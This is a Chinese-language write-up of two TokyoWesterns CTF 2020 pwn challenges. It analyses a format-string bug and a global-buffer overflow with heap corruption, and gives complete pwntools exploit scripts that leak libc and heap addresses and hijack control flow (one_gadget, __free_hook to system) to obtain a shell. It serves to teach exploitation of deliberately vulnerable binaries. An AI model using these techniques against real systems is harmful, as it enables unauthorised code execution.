nothing more to say 2020
源码如下:
// gcc -fno-stack-protector -no-pie -z execstack
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init_proc() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
}
void read_string(char* buf, size_t length) {
ssize_t n;
n = read(STDIN_FILENO, buf, length);
if (n == -1)
exit(1);
buf[n] = '\0';
}
int main(void) {
char buf[0x100];
init_proc();
printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n");
while (1) {
printf("> ");
read_string(buf, 0x100);
if (buf[0] == 'q')
break;
printf(buf);
}
return 0;
}
保护如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
啥保护都没开,基本就是随便打了,写 shellcode 都没问题
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from easyLibc import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
else:
p = remote('pwn02.chal.ctf.westerns.tokyo', 18247)
one = [0x4f365, 0x4f3c2, 0x10a45c]
elf = ELF('./chall', checksec=False)
p.sendafter('> ', '%39$p')
p.recvuntil('0x')
addr_libcsm = int(p.recv(12), 16) - 231
# libc6_2.27-3ubuntu1_amd64.so
libc = easyLibc('__libc_start_main', addr_libcsm, 2)
libcbase = addr_libcsm - libc.dump('__libc_start_main')
addr_one = libcbase + one[0]
p.sendafter('> ', '%41$p')
p.recvuntil('0x')
addr_stack = int(p.recv(12), 16) - 0xe0
addr_stack &= 0xffff
pd = '%' + str(addr_stack) + 'c%41$hn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_stack + 1) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 8 & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_stack + 2) + 'c%41$hhn\x00'
p.sendafter('> ', pd)
pd = '%' + str(addr_one >> 16 & 0xff) + 'c%67$hhn\x00'
p.sendafter('> ', pd)
p.sendafter('> ', 'quit')
success('addr_stack = ' + hex(addr_stack))
success('libcbase = ' + hex(libcbase))
p.interactive()
FLAG
TWCTF{kotoshi_mo_hazimarimasita_TWCTF_de_gozaimasu}
Online Nonogram
查看保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
main 函数
undefined8 main(void)
{
char cVar1;
undefined4 uVar2;
basic_ostream *this;
cVar1 = init_proc();
if (cVar1 == '\0') {
this = operator<<<std--char_traits<char>>(cout,"initialize error");
operator<<(this,endl<char,std--char_traits<char>>);
return 1;
}
print_banner();
do {
print_menu();
operator<<<std--char_traits<char>>(cout,"Your input: ");
uVar2 = read_int();
switch(uVar2) {
default:
this = operator<<<std--char_traits<char>>(cout,"invalid choice");
operator<<(this, endl<char,std--char_traits<char>>);
break;
case 1:
play_puzzle();
break;
case 2:
add_puzzle();
break;
case 3:
delete_puzzle();
break;
case 4:
show_puzzle();
break;
case 5:
return 0;
}
} while( true );
}
init_proc 函数
undefined8 init_proc(void)
{
Puzzle* this;
long in_FS_OFFSET;
allocator<char> local_51;
Puzzle* local_50;
basic_string<char, std--char_traits<char>, std--allocator<char>> local_48[40];
long local_20;
local_20 = *(in_FS_OFFSET + 0x28);
setbuf(stdout, 0x0);
setbuf(stdin, 0x0);
setbuf(stderr, 0x0);
allocator();
basic_string(local_48, "Cross");
local_50 = (Puzzle*)operator.new(0x38);
Puzzle(local_50, 0xb8, 3, "U\x01");
~basic_string(local_48);
~allocator(&local_51);
push_back(vec_puzzle, &local_50);
allocator();
basic_string(local_48, "Heart");
this = (Puzzle*)operator.new(0x38);
Puzzle(this, 0xb8, 5, &DAT_0010610b);
local_50 = this;
~basic_string(local_48);
~allocator(&local_51);
push_back(vec_puzzle, &local_50);
if(local_20 != *(in_FS_OFFSET + 0x28)){
__stack_chk_fail();
}
return 1;
}
print_menu 函数
void print_menu(void)
{
basic_ostream* this;
this = operator<<<std--char_traits<char>>(cout, "1. Play");
operator<<(this, endl<char, std--char_traits<char>>);
this = operator<<<std--char_traits<char>>(cout, "2. Add");
operator<<(this, endl<char, std--char_traits<char>>);
this = operator<<<std--char_traits<char>>(cout, "3. Delete");
operator<<(this, endl<char, std--char_traits<char>>);
this = operator<<<std--char_traits<char>>(cout, "4. Show");
operator<<(this, endl<char, std--char_traits<char>>);
this = operator<<<std--char_traits<char>>(cout, "5. Exit");
operator<<(this, endl<char, std--char_traits<char>>);
return;
}
read_int 函数
ulong read_int(void)
{
char cVar1;
ulong uVar2;
long in_FS_OFFSET;
uint local_14;
long local_10;
local_10 = *(in_FS_OFFSET + 0x28);
operator>>(cin, &local_14);
cVar1 = fail();
if(cVar1 == '\0'){
uVar2 = local_14;
}
else{
clear(0x1091d0);
ignore();
uVar2 = 0;
}
if(local_10 != *(in_FS_OFFSET + 0x28)){
__stack_chk_fail();
}
return uVar2;
}
play_puzzle 函数
void play_puzzle(void)
{
int iVar1;
Puzzle** ppPVar2;
iVar1 = choice_puzzle();
if(iVar1 != -1){
ppPVar2 = (Puzzle**)operator[](vec_puzzle, iVar1);
play(*ppPVar2);
}
return;
}
choice_puzzle 函数
ulong choice_puzzle(void)
{
bool bVar1;
uint uVar2;
basic_ostream* this;
ulong uVar3;
list_puzzle();
this = operator<<<std--char_traits<char>>(cout, "Index:");
operator<<(this, endl<char, std--char_traits<char>>);
uVar2 = read_int();
if(-1 < uVar2){
uVar3 = size(vec_puzzle);
if(uVar2 < uVar3){
bVar1 = false;
goto LAB_00102c15;
}
}
bVar1 = true;
LAB_00102c15:
if(bVar1){
this = operator<<<std--char_traits<char>>(cout, "invalid choice");
operator<<(this, endl<char, std--char_traits<char>>);
uVar3 = 0xffffffff;
}
else{
uVar3 = uVar2;
}
return uVar3;
}
list_puzzle 函数
void list_puzzle(void)
{
bool bVar1;
basic_ostream* this;
long in_FS_OFFSET;
int local_6c;
undefined8 local_68;
undefined8 local_60;
undefined1* local_58;
undefined8 local_50;
basic_string<char, std--char_traits<char>, std--allocator<char>> local_48[40];
long local_20;
local_20 = *(in_FS_OFFSET + 0x28);
local_6c = 0;
local_58 = vec_puzzle;
local_68 = begin(vec_puzzle);
local_60 = end(local_58);
while(true){
bVar1 = operator!=<Puzzle**, std--vector<Puzzle*, std--allocator<Puzzle*>>>(&local_68, &local_60);
if(bVar1 == false) break;
local_50 = operator*(&local_68);
this = operator<<(cout, local_6c);
this = operator<<<std--char_traits<char>>(this, " : ");
printInfo[abi:cxx11]();
this = operator<<<char, std--char_traits<char>, std--allocator<char>>(this, local_48);
operator<<(this, endl<char, std--char_traits<char>>);
~basic_string(local_48);
local_6c = local_6c + 1;
operator++(&local_68);
}
if(local_20 != *(in_FS_OFFSET + 0x28)){
__stack_chk_fail();
}
return;
}
add_puzzle 函数
void add_puzzle(void)
{
long lVar1;
char cVar1;
uint uVar2;
basic_ostream* this;
basic_ostream* this_00;
ssize_t sVar3;
long in_FS_OFFSET;
Puzzle* local_70;
basic_string<char, std--char_traits<char>, std--allocator<char>> local_68[32];
basic_string<char, std--char_traits<char>, std--allocator<char>> local_48[40];
long local_20;
lVar1 = *(in_FS_OFFSET + 0x28);
basic_string();
operator<<<std--char_traits<char>>(cout, "Title: ");
operator>><char, std--char_traits<char>, std--allocator<char>>(cin, local_68);
cVar1 = fail();
if(cVar1 == '\0'){
operator<<<std--char_traits<char>>(cout, "Size: ");
uVar2 = read_int();
if(uVar2 == 0){
this_00 = operator<<<std--char_traits<char>>(cout, "input error");
operator<<(this_00, endl<char, std--char_traits<char>>);
}
else{
operator<<<std--char_traits<char>>(cout, "Puzzle: ");
sVar3 = read(0, gbuf, ((uVar2 * uVar2 >> 3) + 1));
if(sVar3 < 1){
this_00 = operator<<<std--char_traits<char>>(cout, "input error");
operator<<(this_00,
endl<char, std--char_traits<char>>);
}
else{
basic_string(local_48);
local_70 = (Puzzle*)operator.new(0x38);
Puzzle(local_70, 0xb8, uVar2, gbuf);
~basic_string(local_48);
push_back(vec_puzzle, &local_70);
this_00 = operator<<<std--char_traits<char>>(cout, "Success");
operator<<(this_00, endl<char, std--char_traits<char>>);
}
}
}
else{
clear(0x1091d0);
ignore();
this = operator<<<std--char_traits<char>>(cout, "input error");
operator<<(this, endl<char, std--char_traits<char>>);
}
~basic_string(local_68);
if(lVar1 != *(in_FS_OFFSET + 0x28)){
__stack_chk_fail();
}
return;
}
有 push_back 函数,和下面的 erase 函数在一起可以导致 UAF
delete_puzzle 函数
void delete_puzzle(void)
{
Puzzle* this;
int iVar1;
Puzzle** ppPVar2;
basic_ostream* this_00;
long in_FS_OFFSET;
undefined8 local_40;
undefined8 local_38;
__normal_iterator<Puzzle* const*, std--vector<Puzzle*, std--allocator<Puzzle*>>> local_30[8];
Puzzle* local_28;
long local_20;
local_20 = *(in_FS_OFFSET + 0x28);
iVar1 = choice_puzzle();
if(iVar1 != -1){
ppPVar2 = (Puzzle**)operator[](vec_puzzle, iVar1);
this = *ppPVar2;
local_28 = this;
if(this != (Puzzle*)0x0){
~Puzzle(this);
operator.delete(this);
}
local_40 = begin(vec_puzzle);
local_38 = operator+(&local_40, iVar1);
__normal_iterator<Puzzle**>(local_30, &local_38);
erase(vec_puzzle, local_30[0]);
this_00 = operator<<<std--char_traits<char>>(cout, "Success");
operator<<(this_00, endl<char, std--char_traits<char>>);
}
if(local_20 != *(in_FS_OFFSET + 0x28)){
__stack_chk_fail();
}
return;
}
该句有 erase,可能会导致 UAF
erase(vec_puzzle, local_30[0]);
show_puzzle 函数
void show_puzzle(void)
{
int iVar1;
Puzzle** ppPVar2;
iVar1 = choice_puzzle();
if(iVar1 != -1){
ppPVar2 = (Puzzle**)operator[](vec_puzzle, iVar1);
show(*ppPVar2);
}
return;
}
Puzzle::Puzzle 函数
void __thiscall Puzzle(Puzzle* this, basic_string param_1, uint param_2, uchar* param_3)
{
void* pvVar1;
basic_ostream* this_00;
*this = param_2;
basic_string((this + 0x10));
this[0x30] = (Puzzle)0x0;
pvVar1 = operator.new[]((((*this** this) >> 3) + 1));
*(this + 8) = pvVar1;
if(*(this + 8) == 0){
this_00 = operator<<<std--char_traits<char>>(cout, "alloc error");
operator<<(this_00, endl<char, std--char_traits<char>>);
exit(1);
}
memcpy(*(this + 8), param_3, (((*this * *this) >> 3) + 1));
return;
}
画个图的话,该类在堆中的结构应该如下所示,对应的变量为Puzzle* this
| 0x4 | 0x4 | 0x4 | 0x4 |
-----------------------------------------------
0x10 | size | puzzle |
0x20 | title | title_buf_size |
0x30 | title_buf | ? |
0x40 | ? | ? |
-----------------------------------------------
其中 title == &title_buf
title_buf == 写入的字符串,它及之后存着 add 时输入的 puzzle 游戏的标题
puzzle 是之前输入的大小转换后的堆块地址,里面存着 add 时输入的 puzzle 游戏的内容
Puzzle::printInfo[abi:cxx11] 函数
basic_string** printInfo[abi:cxx11](void)
{
allocator* paVar1;
long in_RSI;
basic_string** in_RDI;
long in_FS_OFFSET;
allocator<char> local_89;
basic_string<char, std--char_traits<char>, std--allocator<char>> local_88[32];
basic_string<char, std--char_traits<char>, std--allocator<char>> local_68[32];
basic_string* local_48[5];
long local_20;
local_20 = *(in_FS_OFFSET + 0x28);
allocator();
if(*(in_RSI + 0x30) == '\0'){
paVar1 = &DAT_00106017;
}
else{
paVar1 = &DAT_00106015;
}
basic_string(local_88, paVar1);
~allocator(&local_89);
operator+<char, std--char_traits<char>, std--allocator<char>>(local_68, (in_RSI + 0x10));
operator+<char, std--char_traits<char>, std--allocator<char>>(local_48, local_68);
operator+<char, std--char_traits<char>, std--allocator<char>>(in_RDI, local_48);
~basic_string(local_48);
~basic_string(local_68);
~basic_string(local_88);
if(local_20 != *(in_FS_OFFSET + 0x28)){
__stack_chk_fail();
}
return in_RDI;
}
Puzzle::play 函数
重点,代码已优化
/* Puzzle::play() */
void __thiscall play(Puzzle* this)
{
bool sig1;
bool bVar1;
int iVar2;
long in_FS_OFFSET;
uint local_44;
uint local_40;
uint i;
int k;
uint j;
uint local_1c;
void* tltle_buf;
long local_10;
local_10 = *(in_FS_OFFSET + 0x28);
cout << "Enjoy!!!!!!!!!!!!!!!!!!!!!!!" << endl;
tltle_buf = operator.new[]((((*this** this) >> 3) + 1));
memset(tltle_buf, 0, (((*this * *this) >> 3) + 1));
cout << "Row\'s Numbers" << endl;
i = 0;
while(i < *this){
bVar1 = true;
sig1 = false;
k = 0;
j = 0;
while(j < *this){
if((*((i + *this * j >> 3) +
*(this + 8)) >>
(i + *this * j & 7) & 1) == 0){
if(sig1){
cout << k << ",";
}
sig1 = false;
k = 0;
}
else{
k = k + 1;
sig1 = true;
bVar1 = false;
}
j = j + 1;
}
if(bVar1){
cout << "0" << endl;
}
else{
if(k == 0){
putchar(10);
}
else{
cout << k << endl;
}
}
i = i + 1;
}
cout << "Column\'s Numbers" << endl;
i = 0;
while(i < *this){
sig1 = false;
k = 0;
bVar1 = true;
j = 0;
while(j < *this){
if((*((j + *this * i >> 3) + *(this + 8)) >> (j + *this * i & 7) & 1) == 0){
if(sig1){
cout << k << ",";
}
sig1 = false;
k = 0;
}
else{
k = k + 1;
sig1 = true;
bVar1 = false;
}
j = j + 1;
}
if(bVar1){
cout << "0" << endl;
}
else{
if(k == 0){
putchar(10);
}
else{
cout << k << endl;
}
}
i = i + 1;
}
do{
cout << "Current Status" << endl;
i = 0;
while(i < *this){
j = 0;
while(j < *this){
if((*(tltle_buf + (i + *this * j >> 3)) >> (i + *this * j & 7) & 1) == 0){
putchar(0x20);
}
else{
putchar(0x78);
}
j = j + 1;
}
putchar(10);
i = i + 1;
}
cout << ": ";
iVar2 = scanf("%u %u", &local_44, &local_40);
if(iVar2 != 2){
cout << "input error" << endl;
if(tltle_buf != 0x0){
operator.delete(tltle_buf);
}
goto LAB_00103bb6;
}
cout << "x: " << local_44 << endl;
cout << "y: " << local_40 << endl;
if((*this <= local_44) || (*this <= local_40)){
cout << "input error" << endl;
if(tltle_buf != 0x0){
operator.delete(tltle_buf);
}
goto LAB_00103bb6;
}
local_1c = local_44 + *this * local_40;
if((*(*(this + 8) + (local_1c >> 3)) >> (local_1c & 7) & 1) == 0){
cout << "Wrong! Try harder!" << endl;
exit(0);
}
cout << "Correct!" << endl;
*((local_1c >> 3) + tltle_buf) = *(tltle_buf + (local_1c >> 3)) | (1 << (local_1c & 7));
iVar2 = memcmp(*(this + 8), tltle_buf, (((*this * *this) >> 3) + 1));
} while(iVar2 != 0);
cout << "Congratz!" << endl;
this[0x30] = (Puzzle)0x1;
if(tltle_buf != 0x0){
operator.delete(tltle_buf);
}
LAB_00103bb6:
if(local_10 == *(in_FS_OFFSET + 0x28)){
return;
}
__stack_chk_fail();
}
Puzzle::show 函数
void __thiscall show(Puzzle* this)
{
byte bVar1;
uint uVar2;
basic_ostream* this_00;
uint local_c;
if(this[0x30] == (Puzzle)0x0){
this_00 = operator<<<std--char_traits<char>>(cout, "Please clear the Nonogram first");
operator<<(this_00, endl<char, std--char_traits<char>>);
}
else{
this_00 = operator<<<std--char_traits<char>>(cout, "-------------------------------------");
operator<<(this_00, endl<char, std--char_traits<char>>);
local_c = 0;
while(local_c < (*this * *this)){
uVar2 = local_c;
if(local_c < 0){
uVar2 = local_c + 7;
}
bVar1 = (local_c >> 0x37);
if((*((uVar2 >> 3) + *(this + 8)) >> ((local_c + (bVar1 >> 5) & 7) - (bVar1 >> 5) & 0x1f) & 1) == 0){
putchar(0x20);
}
else{
putchar(0x78);
}
if(local_c % *this == *this - 1){
putchar(10);
}
local_c = local_c + 1;
}
this_00 = operator<<<std--char_traits<char>>(cout, "-------------------------------------");
operator<<(this_00, endl<char, std--char_traits<char>>);
}
return;
}
Puzzle::~Puzzle 函数
void __thiscall ~Puzzle(Puzzle *this)
{
memset(*(this + 8),0,(((*this * *this) >> 3) + 1));
if (*(this + 8) != 0x0) {
operator.delete(*(this + 8));
}
~basic_string((this + 0x10));
return;
}
解题思路
泄露 heap 地址
再下面的代码研究卡壳的情况下我去了解了一下这个游戏
每一行,每一列,都要符合规定的数值排列
就好比 1 3 这行,涂黑的块就不能是连着 4 个的; 或者是前三块儿是黑色的,最后一块儿是黑色的这两种情况出现
在 add_puzzle 函数中,最后输入的代码大小是你输入的大小的平方右移 3 位后加 1
sVar3 = read(0, gbuf, ((uVar2 * uVar2 >> 3) + 1));
而且这里输入的数据不能够过大,在 add_puzzle 函数中有如下代码
Puzzle(local_70, 0xb8, uVar2, gbuf);
在 Puzzle::Puzzle 函数中则有如下代码
memcpy(*(uVar2 + 8), gbuf, (((*uVar2 * *uVar2) >> 3) + 1));
uVar2 是一个堆地址,且
uVar2 = read_int();
即在 read_int 函数中,输入数据的地址,如果输入的数据过大,则会造成堆溢出
而且在 memcpy 内部就会崩掉
那么我们知道了如果我们想要分配一个大小为 n 的堆块,我们需要输入的数据的大小就应该是
int(math.sqrt((n - 1) << 3) + 1)
这里加一减一后都有可能是原来输入的数值,但是这里写的是加 1
暂且还不知道为啥这么写,不过跟泄露有关,改成减一就不能泄露地址
接下来看 Puzzle::play 函数,建议 IDA 和 Ghidra 一起看,只看一个
该函数的参数 Puzzle* this 就是之前输入大小(Size)的堆地址
if((*((i + *this * j >> 3) + *(this + 8)) >> (i + *this * j & 7) & 1) == 0)
该代码的简化写法就是a >> (b & 7) & 1,这里对简化变量分别进行解释
用 tmp 来称呼该式子:i + *this * j;它的作用是遍历最大边界为 *this 的正方形矩阵
a 指的是 *((i + *this * j >> 3) + *(this + 8)),这里 (i + *this * j >> 3) 指的是在前面这堆数除以 8 后,得到的结果
假如你得到的 tmp 是 0x1a,那么经过 a 计算就会得到 3 + *(this + 8)
假如你得到的 tmp 是 0x20,那么经过 a 计算就会得到 4 + *(this + 8)
其实就是求相对于 puzzle 地址的 8 地址对齐偏移,再加上 puzzle 的地址从而得到其中的数据
b 指的是 (i + *this * j & 7),意思就是取前面这堆数的后 3 位
假如你得到的tmp是 0x1a,那么经过 b 计算就会得到 2
假如你得到的 tmp 是 0x20,那么经过 b 计算就会得到 0
a 运算求出了数据以 8 位为对齐时的地址偏移,就好比除法中的商
b 运算则是求出其最后一个 8 位对齐地址上的剩余数据,相当于除法中的余数
那么a >> (b & 7) & 1的意思就是以每 8 位为一行的情况下的每一个元素的数据
经测试,当我运行该函数时,打印的 Row 行字符如下
函数:add('bb', 0x40, p64(0b00000100))
显示:
证明推论是对的
但是上面的例子是在 puzzle 堆中没有残余数据时的情况,在构造时需要考虑一个很关键的点
就是它的遍历是以列来进行的,也就是说,假如有 0b00001111 的数据,他并不会输出 15
而是会输出 4 个 1,但是假如在堆中有残留数据的话
- 假如不相邻,却能匹配到两个 1,那么就输出 1, 1
- 假如相邻,却能匹配到两个 1,那么就输出 2
经调试,tmp 的值每次的变化是有规律的,数值的大小由 size 的大小来决定
当 size 为 0x59 时,变化如下所示
0x0
... 7 个 0xb ...
0xc
... 7 个 0xb ...
0xc
... 0x3d3(或者 0x3d4) ...
循环...
开头一定是 0,之后会呈现 7 同值个带 1 个比它们大 1 的数的数值变化
先贴一下用于测试的脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
this = 0x59
c = 0
for i in range(0, 0x59):
for j in range(0, 0x59):
tmp = (i + this * j >> 3)
print hex(abs(tmp - c))
c = tmp
那么这种跨度就可以完美的绕过两个 0x08 的地址,在堆中找残余数据的时候,就要注意不能再相邻的 0x10(其实是 0x11 和 0x12,这里取个整看着方便) 的地址范围内,都出现不为零的值
因为都出现的话,会导致输出的数变为比 1 大的数,会使后续的工作变得麻烦
所以进行泄露时要找一个范围:被遍历的地址的 0x10 的相邻范围内没有别的地址
那么在出现类似 [1, 0] 的值作为地址泄露的数据时,就必须要参考地址内的冗余数据相对于你要泄露的地址究竟是在前面还是后面
要泄露的地址在后面,那么就应该取下标 1 的元素;否则就应该取下标 0 的元素
所以这里脚本应该写为
for i in range(64):
b += str(hr[i][-1])
再看内存中的数据如下所示,数据的起始地址是 0x557e8601dff0
能访问数据的总偏移是 (0x58 + 0x59 * 0x58) == 0x1ef0
也就是说我能访问的最大地址为 0x557e8601fee0,不过中途有 0x3d3 的偏移
这里也是一个可访问点
0x557e8601dfe0: 0x0000000000000000 0x0000000000000421
0x557e8601dff0: 0x0000000000000000 0x0000000000000000
......
0x557e8601e3f0: 0x0000557e8601df90 0x000000008601dfa0
0x557e8601e400: 0x0000000000000000 0x0000000000000031
0x557e8601e410: 0x0000557e8601deb0 0x0000557e8601df30
0x557e8601e420: 0x0000557e8601dfb0 0x0000000000000000
0x557e8601e430: 0x0000000000000000 0x0000000000000421
看 puzzle 的初始地址到 0x557e8601e3f0 一共是 0x400 个字节
那么我们按如下进行构造就能清空之前的数据,使泄露变得更加方便
add('bb', 0x408, p64(0) * 0x80)
如果这里你把 0x80 写成了 0x81,就会如下的错误
terminate called after throwing an instance of 'std::bad_alloc'
what(): std::bad_alloc
这段错误来自于如下函数
0x2e64 <add_puzzle()+460> call 0x4046
0x40bd call 0x43a0
// 下面函数的 RDX 为 0x696c ← 'vector::_M_realloc_insert'
0x43db call 0x48ac
0x4430 call 0x49e0
0x4a09 call 0x4c33
0x4c5a call 0x4e50
0x4e8f call 0x23c0
► 0x7f561cf43c24 call malloc@plt <0x7f561cf33f40>
size: 0xac282283bf40
如果把 0x80 改成 0x81 那么在 0x48ea 函数运行过后就会返回错误的值
在之前也能看见错误,即全局变量 vec_puzzle 被修改为了我们最后一个 p64 的值
那么追根溯源,可以找到以下源码
push_back(vec_puzzle, &local_70);
发现错误出在这里,也就是 push_back 函数中的 new 操作出现了问题
不过 vec_puzzle 并不是因为 push_back 而改变的,而是因为 Puzzle::Puzzle 函数
可以找到源码如下
memcpy(*(this + 8),param_3,(((*this * *this) >> 3) + 1));
用 GDB 调试可以发现函数调用如下
► 0x56078fbae2b0 call memcpy@plt <0x56078fbad370>
dest: 0x560791839ff0 ◂— 0x0
src: 0x56078fbb42e0 (gbuf) ◂— 0x0
n: 0x40c
但是看全局变量又能找到布局如下
0x56078fbb42e0 <gbuf>: 0x0000000000000000
0x56078fbb46e0 <vec_puzzle>: 0x0000560791839f90
再接上
pwndbg> x/1gx 0x55dabe95cff0+0x400
0x5607918403f0: 0x000055dabe95cf90
所以能够发现,我们要是改了 0x81 的位置,这块就会因为 memcpy 而导致后续的内存泄露
只能说 0x59 是一个合适的大小,但是具体找我觉得我是很没耐心的
可能大家是拿 AFL 或者脚本计算的吧,这个的爆破既要考虑范围大小要大于等于 0x08 字节
即让式子i + this j >> 3的值大于等于 0x08,也就是要让 *this 的值大于等于 0x40
也就是说输入的值要大于等于 0x200,但是 0x200 在快要到 0x200 的时候会 add 大数
类似于前面的 0x3d8,也就跳过了能泄露的堆地址,那么我将就试了试
0x220 -- 0x208
0x230 -- 0x218
...
也就是说 i + *this * j >> 3的值如果不能在后续的递进中补足这 0x18 的数据,那么就不可能泄露堆地址
最终测得最低限度的泄露地址所需的 size 大小是 0x3f8(纯手测)
泄露 libc
这块需要攻击vec_puzzle全局变量,即存放堆块地址的链表,vec_puzzle 地址内容如下
<vec_puzzle>: 0x0000561e5d7d7a80 0x0000561e5d7d7aa8
<vec_puzzle+16>: 0x0000561e5d7d7ac0 0x0000000000000000
vec_puzzle 存着 vector 存储 Puzzle 类所用的堆块地址,堆块地址如下
0x561e5d7d7a80: 0x0000561e5d7d6eb0 0x0000561e5d7d6f30
0x561e5d7d7a90: 0x0000561e5d7d6fb0 0x0000561e5d7d75b0
0x561e5d7d7aa0: 0x0000561e5d7d7440 0x0000000000000000
0x561e5d7d7ab0: 0x0000000000000000 0x0000000000000000
0x561e5d7d7ac0: 0x0000000000000000 0x0000000000000631
vec_puzzle + 08 也就是 vector 容器内的 _M_finish 指针
vec_puzzle + 16 存着 vector 容器内的 _M_end_of_storage 指针
我们看 add_puzzle 函数
if(uVar2 == 0){
......
}
else{
std::cout << "Puzzle: ";
sVar3 = read(0, gbuf, ((uVar2 * uVar2 >> 3) + 1));
if(sVar3 < 1){
std::cout << "input error" << endl;
}
else{
basic_string(local_48);
local_70 = (Puzzle*)operator.new(0x38);
Puzzle(local_70, 0xb8, uVar2, gbuf);
~basic_string(local_48);
push_back(vec_puzzle, &local_70);
std::cout << "Success" << endl;
}
}
这里可以写很大的数据到 gbuf 里,我们在调试的时候可以知道 gbuf 的大小是 0x400 字节
在 gbuf 全局变量的下面就是 vec_puzzle 全局变量
但是我们可以写超过 0x400 字节大小的数据到 gbuf 里,这就导致了全局变量的溢出
因此我们可以改写记录 Puzzle 类的堆空间,使其变成我们伪造的堆块
这样我们可以先申请一个大堆块,使其达到 largebin 的大小,并释放掉它
然后再伪造一个堆块,使它 title 记录的地址为上面 largebin 泄露出的 main_arena 的地址
那么就可以依靠打印游戏名来泄露出程序的 libc 了
攻击 tcache bin 链表
因为我们可以依靠 vec_puzzle 全局变量来伪造一个类的堆空间地址
然后依次释放 puzzle、title、Puzzle 类的堆块,因为在程序运行过程中要申请很多 0x38
我后面构造的时候又会覆盖 0x40 大小堆块的内容,所以这里我们多申请几个 0x40 大小的堆块
之后再把它们一个个释放掉,增加 0x40 大小堆块的可用数目
我依靠 0x50 大小的堆块来完成覆盖,最后测得只能靠 __free_hook 在退出程序时提权
程序退出时,会 free 掉 vec_puzzle 全局变量里的堆块,那么我们最后再利用溢出,修改
vec_puzzle 里第一个堆块的地址为 libc 中 /bin/sh 的地址即可获得权限
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import math
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
p = process(['./chall'])
else:
p = remote('pwn03.chal.ctf.westerns.tokyo', 22915)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
def play(play_idx):
p.sendlineafter('Your input: ', '1')
p.sendlineafter('Index:\n', str(play_idx))
def add(add_title, add_size, add_text):
p.sendlineafter('Your input: ', '2')
p.sendlineafter('Title: ', add_title)
p.sendlineafter('Size: ', str(add_size))
p.sendafter('Puzzle: ', add_text)
def csize(size):
return int(math.sqrt((size - 1) << 3) + 1)
def delete(delete_idx):
p.sendlineafter('Your input: ', '3')
p.sendlineafter('Index:\n', str(delete_idx))
# gdb.attach(p, 'brva 0x359a\nc')
add('bb', csize(0x408), p64(0) * 0x80)
play(2)
p.recvuntil('Numbers\n')
hr = []
while True:
d = str(p.recvuntil('\n')[:-1])
if d[-1] == ',':
d = d[:-1]
if 'Col' in d:
break
d = list(map(int, d.split(",")))
hr.append(d)
info(hr)
b = ""
for i in range(64):
b += str(hr[i][-1])
heapbase = int(hex(int(b[::-1],2) << 2)[:-1],0) - 0x11f90
p.sendlineafter(': ', 'A')
add('aa', 0x60, 'ww') # 3 for free
# 1 fake (Puzzle)vector
pd = p64(0) + p64(0x51)
pd += p64(heapbase + 0x129b0) + p64(heapbase + 0x12440)
# 2 to free fake (Puzzle)tcache bin
pd += p64(heapbase + 0x12f40) + p64(heapbase + 0x12f80)
pd += p64(heapbase + 0x12f80)
pd = pd.ljust(0x50, '\x00')
# 1 fake puzzle vecotr[0]
pd += p64(0) + p64(0x431)
pd += p64(3) + p64(heapbase + 0x11ef0)
pd += p64(heapbase + 0x12480) + p64(8)
add('aa', 0x60, pd) # 4
delete(3)
# -*- 2 fake tcache chunk -*-
# 2 fake puzzle vecotr[2]
pd = 'r' * 0x100
pd += p64(0) + p64(0x521)
pd += p64(3) + p64(heapbase + 0x13010)
pd += p64(heapbase + 0x12440) + p64(5)
pd += p64(0) + p64(0)
# 2 fake puzzle vecotr[3]
pd += p64(0) + p64(0x51)
pd += p64(3) + p64(heapbase + 0x12fd0)
pd += p64(heapbase + 0x11fb0) + p64(5)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
# 2 fake puzzle vecotr[4]
pd += p64(0) + p64(0x41)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
pd += p64(0) + p64(0)
# 2 fake puzzle vecotr[5]
pd += p64(0) + p64(0x41)
pd = pd.ljust(0x400, '\x00')
# 1 fake vec_puzzle
pd += p64(heapbase + 0x12960) + p64(heapbase + 0x12988)
pd += p64(heapbase + 0x129a0)
add('BBBB', 0x70, pd) # 3 last
success('heapbase = ' + hex(heapbase))
p.sendlineafter('Your input: ', '1')
p.recvuntil('0 : ')
addr___malloc_hook = u64(p.recv(8)) - 0x10 - 1136
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___free_hook = libcbase + libc.sym['__free_hook']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()
p.sendlineafter('Index:\n', '1111')
# -*- 2 fill unsorted bin -*-
add('BBBB', 0x5d, 'eeee') # 5
# -*- 2 adequate 0x40 tcachebins -*-
add('BBBB', 0x14, 'eeee') # 6
add('BBBB', 0x14, 'aaaa') # 7
# -*- 2 avoid malloc consolidate -*-
add('BBBB', 0xd, 'eeee') # 8
# -*- 2 overlap chunk -*-
delete(3)
delete(2)
delete(7)
delete(6)
pd = 'a' * 0x40
pd += p64(addr___free_hook)
pd = pd.ljust(0x400, '\x00')
# 3 /bin/sh\x00
pd += p64(addr_bin_sh)
add('BBBB', 0x70, pd) # 3 last
add('BBBB', 0x60, pd) # 3
add('BBBB', 0x16, 'aaaa') # 2
add('BBBB', 0x16, p64(addr_system)) # 7
